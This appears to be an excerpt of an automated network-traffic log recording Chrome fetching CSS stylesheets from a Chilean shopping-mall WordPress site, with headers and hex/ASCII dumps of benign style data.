2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 6c 69 73 74 20 2e 63 68 69 6c 64 72 65 6e 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 2d 61 75 74 68 6f 72 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 2d 61 75 74 68 6f 72 20 2e 61 76 61 74 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 2e 35 65 6d 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 68 65 69 67 68 74 3a 32 2e 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 37 35 65 6d 3b 6d Data Ascii: -post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;m
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 3a 6e 6f 74 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 Data Ascii: -background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradie
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 69 73 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 2d 63 65 6e 74 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 69 73 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 2d 63 65 6e 74 65 72 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 69 73 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 2d 72 69 67 68 74 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 69 73 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 2d 72 69 67 68 74 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 Data Ascii: .wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 29 3a 68 6f 76 65 72 2c 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 66 69 6c 65 5f 5f 62 75 74 74 6f 6e 29 3a 69 73 28 61 29 3a 76 69 73 69 74 65 64 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6f 70 61 63 69 74 79 3a 2e 38 35 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 66 6f 72 6d 2d 69 6e 70 75 74 5f 5f 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 66 6f 72 6d 2d 69 6e 70 75 74 5f 5f 6c 61 62 65 6c 2e 69 73 2d 6c 61 62 65 6c 2d 69 6e Data Ascii: ):hover,:where(.wp-block-file__button):is(a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-form-input__label{display:flex;flex-direction:column;gap:.25em;margin-bottom:.5em;width:100%}.wp-block-form-input__label.is-label-in
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 66 2d 74 79 70 65 28 36 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 36 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 74 65 6d 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 36 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 37 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 6d 61 67 65 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 37 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 37 20 2e 62 6c 6f Data Ascii: f-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blo
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 6f 74 28 23 69 6e 64 69 76 69 64 75 61 6c 2d 69 6d 61 67 65 29 3a 66 69 72 73 74 2d 63 68 69 6c 64 3a 6e 74 68 2d 6c 61 73 74 2d 63 68 69 6c 64 28 32 29 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 67 61 6c 6c 65 72 79 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 2e 63 6f 6c 75 6d 6e 73 2d 64 65 66 61 75 6c 74 20 66 69 67 75 72 65 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 3a 6e 6f 74 28 23 69 6e 64 69 76 69 64 75 61 6c 2d 69 6d 61 67 65 29 3a 66 69 72 73 74 2d 63 68 69 6c 64 3a 6e 74 68 2d 6c 61 73 74 2d 63 68 69 6c 64 28 32 29 7e 66 69 67 75 72 65 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 3a 6e 6f 74 28 23 69 6e 64 69 76 69 64 75 61 6c 2d 69 6d 61 67 65 29 7b 77 69 64 74 68 3a 63 61 6c 63 28 35 30 25 20 2d 20 76 61 72 28 2d 2d 77 70 2d 2d 73 74 79 6c Data Ascii: ot(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--styl
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 79 3a 31 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 39 39 25 7b 6f 70 61 63 69 74 79 3a 30 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 30 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6c 69 67 68 74 62 6f 78 2d 7a 6f 6f 6d 2d 69 6e 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 63 61 6c 63 28 28 2d 31 30 30 76 77 20 2b 20 76 61 72 28 2d 2d 77 70 2d 2d 6c 69 67 68 74 62 6f 78 2d 73 63 72 6f 6c 6c 62 61 72 2d 77 69 64 74 68 29 29 2f 32 20 2b 20 76 61 72 28 2d 2d 77 70 2d 2d 6c 69 67 68 74 62 6f 78 2d 69 6e 69 74 69 61 6c 2d 6c 65 66 74 2d 70 6f 73 69 74 69 6f 6e 29 29 2c 63 61 6c 63 28 2d 35 30 76 68 20 2b 20 76 61 72 28 Data Ascii: y:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 65 6d 3b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2e 69 73 2d 76 65 72 74 69 63 61 6c 7b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 6a 75 73 74 69 66 79 3a 69 6e 69 74 69 61 6c 3b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 61 6c 69 67 6e 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2e 6e 6f 2d 77 72 61 70 7b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 77 72 61 70 3a 6e 6f 77 72 61 70 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2e 69 74 65 6d 73 2d 6a 75 73 74 69 66 69 Data Ascii: em;width:inherit}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justifi
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 6c 61 79 6f 75 74 2d 64 69 72 65 63 74 69 6f 6e 2c 69 6e 69 74 69 61 6c 29 3b 66 6c 65 78 2d 77 72 61 70 3a 76 61 72 28 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 77 72 61 70 2c 77 72 61 70 29 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 76 61 72 28 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 6a 75 73 74 69 66 79 2c 69 6e 69 74 69 61 6c 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 69 73 2d 6d 65 6e 75 2d 6f 70 65 6e 2e 69 73 2d 6d 65 6e 75 2d 6f 70 65 6e 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 21 69 6d 70 Data Ascii: layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!imp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49707	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:30 UTC	614	OUT	GET /wp-content/plugins/oxygen/component-framework/oxygen.css?ver=4.7 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:31 UTC	296	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:42 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 29 Aug 2023 22:10:43 GMT ETag: "50bd-6041714fabec0" Accept-Ranges: bytes Content-Length: 20669 Vary: Accept-Encoding,User-Agent Content-Type: text/css
2025-01-10 19:49:31 UTC	7896	IN	Data Raw: 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 37 2e 30 2e 30 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 68 75 62 2e 63 6f 6d 2f 6e 65 63 6f 6c 61 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 2a 2f 0a 62 75 74 74 6f 6e 2c 0a 68 72 2c 0a 69 6e 70 75 74 20 7b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0a 7d 0a 61 75 64 69 6f 2c 0a 63 61 6e 76 61 73 2c 0a 70 72 6f 67 72 65 73 73 2c 0a 76 69 64 65 6f 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 70 72 6f 67 72 65 73 73 2c 0a 73 75 62 2c 0a 73 75 70 20 7b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 7d 0a 5b 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 5d 2c 0a 5b 74 79 70 65 Data Ascii: /! normalize.css v7.0.0 \| MIT License \| github.com/necolas/normalize.css /button,hr,input { overflow: visible;}audio,canvas,progress,video { display: inline-block;}progress,sub,sup { vertical-align: baseline;}[type="checkbox"],[type
2025-01-10 19:49:31 UTC	8000	IN	Data Raw: 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 61 75 74 6f 3b 0a 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 32 65 6d 3b 0a 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 65 6d 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 2e 6f 78 79 2d 6e 61 76 2d 6d 65 6e 75 2d 70 72 65 76 65 6e 74 2d 6f 76 65 72 66 6c 6f 77 20 7b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 7d 0a 2e 6f 78 79 2d 6e 61 76 2d 6d 65 6e 75 2e 6f 78 79 2d 6e 61 76 2d 6d 65 6e 75 2d 6f 70 65 6e 20 2e 6f 78 79 2d 6d 65 6e 75 2d 74 6f 67 67 6c 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 69 74 69 61 6c 3b 0a 7d 0a 2e 6f 78 79 2d 6e 61 76 2d 6d 65 6e 75 2e 6f 78 79 2d 6e 61 76 Data Ascii: ight: 100%; overflow: auto; padding-top: 2em; padding-bottom: 2em; width: 100%;}.oxy-nav-menu-prevent-overflow { overflow: hidden; height: 100%;}.oxy-nav-menu.oxy-nav-menu-open .oxy-menu-toggle { display: initial;}.oxy-nav-menu.oxy-nav
2025-01-10 19:49:31 UTC	4773	IN	Data Raw: 3b 0a 7d 0a 2e 6f 78 79 2d 74 61 62 2c 0a 2e 6f 78 79 2d 74 61 62 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0a 7d 0a 2e 6f 78 79 2d 70 72 6f 67 72 65 73 73 2d 62 61 72 2d 6f 76 65 72 6c 61 79 2d 70 65 72 63 65 6e 74 3a 65 6d 70 74 79 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 6f 78 79 2d 73 75 70 65 72 62 6f 78 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0a 7d 0a 2e 6f 78 79 2d 73 75 70 65 72 62 6f 78 2d 70 72 69 6d 61 72 79 2c 0a 2e 6f 78 79 2d 73 75 70 65 72 62 6f 78 2d 73 65 63 6f 6e 64 61 72 79 2c 0a 2e 6f 78 79 2d 74 61 62 73 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 7d 0a 2e 6f 78 79 2d 73 75 70 65 72 62 6f 78 Data Ascii: ;}.oxy-tab,.oxy-tab-content { padding: 20px;}.oxy-progress-bar-overlay-percent:empty { display: none;}.oxy-superbox { display: inline-flex;}.oxy-superbox-primary,.oxy-superbox-secondary,.oxy-tabs-wrapper { display: flex;}.oxy-superbox

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49705	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:30 UTC	583	OUT	GET /tiendas/head/?xlink=css&ver=6.5.5 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:32 UTC	479	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:42 GMT Server: Apache/2 X-LiteSpeed-Tag: d5e_HTTP.200 Link: <https://patiooutletmaipu.cl/wp-json/>; rel="https://api.w.org/", <https://patiooutletmaipu.cl/wp-json/wp/v2/cpttiendas/2800>; rel="alternate"; type="application/json", <https://patiooutletmaipu.cl/?p=2800>; rel=shortlink Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/css;charset=UTF-8
2025-01-10 19:49:32 UTC	7713	IN	Data Raw: 32 30 30 30 0d 0a 23 73 65 63 74 69 6f 6e 2d 32 2d 32 36 33 33 20 3e 20 2e 63 74 2d 73 65 63 74 69 6f 6e 2d 69 6e 6e 65 72 2d 77 72 61 70 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 23 73 65 63 74 69 6f 6e 2d 32 2d 32 36 33 33 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 23 73 65 63 74 69 6f 6e 2d 32 2d 32 35 38 32 20 3e 20 2e 63 74 2d 73 65 63 74 69 6f 6e 2d 69 6e 6e 65 72 2d 77 72 61 70 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 37 35 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 37 35 70 78 7d 23 73 65 63 74 Data Ascii: 2000#section-2-2633 > .ct-section-inner-wrap{max-width:100%}#section-2-2633{border-top-style:none;border-right-style:none;border-bottom-style:none;border-left-style:none}#section-2-2582 > .ct-section-inner-wrap{padding-top:75px;padding-bottom:75px}#sect
2025-01-10 19:49:32 UTC	485	IN	Data Raw: 70 78 20 70 78 20 70 78 20 7d 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 20 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 2d 73 68 6f 77 2d 64 72 6f 70 64 6f 77 6e 20 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 2d 6c 69 73 74 20 2e 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 3e 20 61 20 73 76 67 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 2e 34 73 7d 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 20 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 2d 73 68 6f 77 2d 64 72 6f 70 64 6f 77 6e 20 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 2d 6c 69 73 74 20 2e 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 3e 20 61 20 64 69 76 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 7d 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 20 2e 6f 78 79 Data Ascii: px px px }.oxy-pro-menu .oxy-pro-menu-show-dropdown .oxy-pro-menu-list .menu-item-has-children > a svg{transition-duration:0.4s}.oxy-pro-menu .oxy-pro-menu-show-dropdown .oxy-pro-menu-list .menu-item-has-children > a div{margin-left:0px}.oxy-pro-menu .oxy
2025-01-10 19:49:32 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-10 19:49:32 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 75 20 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 2d 6d 6f 62 69 6c 65 2d 6f 70 65 6e 2d 69 63 6f 6e 20 73 76 67 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 2e 34 73 7d 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 20 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 2d 6d 6f 62 69 6c 65 2d 63 6c 6f 73 65 2d 69 63 6f 6e 7b 74 6f 70 3a 32 30 70 78 3b 6c 65 66 74 3a 32 30 70 78 7d 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 20 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 2d 6d 6f 62 69 6c 65 2d 63 6c 6f 73 65 2d 69 63 6f 6e 20 73 76 67 7b 77 69 64 74 68 3a 32 34 70 78 3b 68 65 69 67 68 74 3a 32 34 70 78 7d 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 20 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 2d 6d 6f 62 69 6c 65 2d 63 6c 6f 73 65 2d 69 63 6f 6e 2c 2e 6f 78 Data Ascii: 2000u .oxy-pro-menu-mobile-open-icon svg{transition-duration:0.4s}.oxy-pro-menu .oxy-pro-menu-mobile-close-icon{top:20px;left:20px}.oxy-pro-menu .oxy-pro-menu-mobile-close-icon svg{width:24px;height:24px}.oxy-pro-menu .oxy-pro-menu-mobile-close-icon,.ox
2025-01-10 19:49:32 UTC	6	IN	Data Raw: 39 3b 62 6f 72 64 Data Ascii: 9;bord
2025-01-10 19:49:32 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-10 19:49:32 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 65 72 2d 72 61 64 69 75 73 3a 30 70 78 7d 2e 67 72 69 64 2d 74 69 65 6e 64 61 2d 69 74 65 6d 5f 5f 62 74 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 3a 23 66 66 66 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 66 66 66 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 63 32 61 32 39 7d 2e 67 72 69 64 2d 74 69 65 6e 64 61 2d 69 74 65 6d 5f 5f 62 74 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 23 66 66 37 66 33 39 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 23 66 66 37 66 33 39 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 23 66 66 37 66 33 39 3b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 23 66 66 37 66 33 39 3b Data Ascii: 2000er-radius:0px}.grid-tienda-item__btn{background-color :#ffffff;border:1px solid #ffffff;color:#2c2a29}.grid-tienda-item__btn{border-radius:0px;border-top-color:#ff7f39;border-right-color:#ff7f39;border-bottom-color:#ff7f39;border-left-color:#ff7f39;
2025-01-10 19:49:32 UTC	6	IN	Data Raw: 73 69 7a 65 3a 31 Data Ascii: size:1
2025-01-10 19:49:32 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-10 19:49:32 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 36 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 32 70 78 7d 2e 66 6f 6f 74 65 72 5f 5f 6d 65 6e 75 20 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 2d 6d 6f 62 69 6c 65 2d 6f 70 65 6e 2d 69 63 6f 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 64 64 64 64 64 7d 2e 66 6f 6f 74 65 72 5f 5f 6d 65 6e 75 20 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 2d 6d 6f 62 69 6c 65 2d 6f 70 65 6e 2d 69 63 6f 6e 2c 2e 66 6f 6f 74 65 72 5f 5f 6d 65 6e 75 20 2e 6f 78 79 2d 70 72 6f 2d 6d 65 6e 75 2d 6d 6f 62 69 6c 65 2d 6f 70 65 6e 2d 69 63 6f 6e 20 73 76 67 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 Data Ascii: 20006px;color:#000000;text-transform:uppercase;letter-spacing:2px}.footer__menu .oxy-pro-menu-mobile-open-icon:hover{background-color:#dddddd}.footer__menu .oxy-pro-menu-mobile-open-icon,.footer__menu .oxy-pro-menu-mobile-open-icon svg{transition-durati

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49706	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
